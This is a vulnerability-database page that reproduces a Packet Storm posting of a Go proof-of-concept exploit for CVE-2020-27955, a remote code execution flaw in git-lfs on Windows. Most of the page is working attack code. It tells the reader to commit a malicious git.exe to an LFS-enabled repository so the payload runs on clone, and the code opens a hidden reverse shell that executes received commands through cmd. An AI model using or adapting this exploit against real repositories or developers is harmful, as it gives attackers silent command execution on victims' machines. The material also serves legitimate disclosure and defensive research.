Lucene search
K

git-lfs Remote Code Execution

🗓️ 06 Nov 2020 00:00:00Reported by Dawid GolunskiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 385 Views

git-lfs Remote Code Execution (RCE) vulnerability CVE-2020-27955 exploit

Related
Code
`/*  
Go PoC exploit for git-lfs - Remote Code Execution (RCE)  
vulnerability CVE-2020-27955  
git-lfs-RCE-exploit-CVE-2020-27955.go  
  
Discovered by Dawid Golunski  
https://legalhackers.com  
https://exploitbox.io  
  
  
Affected (RCE exploit):  
Git / GitHub CLI / GitHub Desktop / Visual Studio / GitKraken /  
SmartGit / SourceTree etc.  
Basically the whole Windows dev world which uses git.  
  
Usage:  
Compile: go build git-lfs-RCE-exploit-CVE-2020-27955.go  
Save & commit as git.exe  
  
The payload should get executed automatically on git clone operation.  
It spawns a reverse shell, or a calc.exe for testing (if it  
couldn't connect).  
  
An lfs-enabled repository with lfs files may also be needed so that git-lfs  
gets invoked. This can be achieved with:  
  
git lfs track "*.dat"  
echo "fat bug file" > lfsdata.dat  
git add .*  
git add *  
git commmit -m 'git-lfs exploit' -a  
  
Check out the full advisory for details:  
  
https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html  
  
https://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html  
  
PoC video at:  
https://youtu.be/tlptOf9w274  
  
** For testing purposes only **  
  
  
*/  
  
package main  
import (  
"net"  
"os/exec"  
"bufio"  
"syscall"  
)  
  
  
func revsh(host string) {  
  
c, err := net.Dial("tcp", host)  
if nil != err {  
// Conn failed  
if nil != c {  
c.Close()  
}  
// Calc for testing purposes if no listener available  
cmd := exec.Command("calc")  
cmd.Run()  
return  
}  
  
r := bufio.NewReader(c)  
for {  
runcmd, err := r.ReadString('\n')  
if nil != err {  
c.Close()  
return  
}  
cmd := exec.Command("cmd", "/C", runcmd)  
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}  
out, _ := cmd.CombinedOutput()  
c.Write(out)  
}  
}  
  
// Connect to netcat listener on local port 1337  
func main() {  
revsh("localhost:1337")  
}  
  
  
--   
Regards,  
Dawid Golunski  
https://legalhackers.com  
https://ExploitBox.io  
t: @dawid_golunski  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation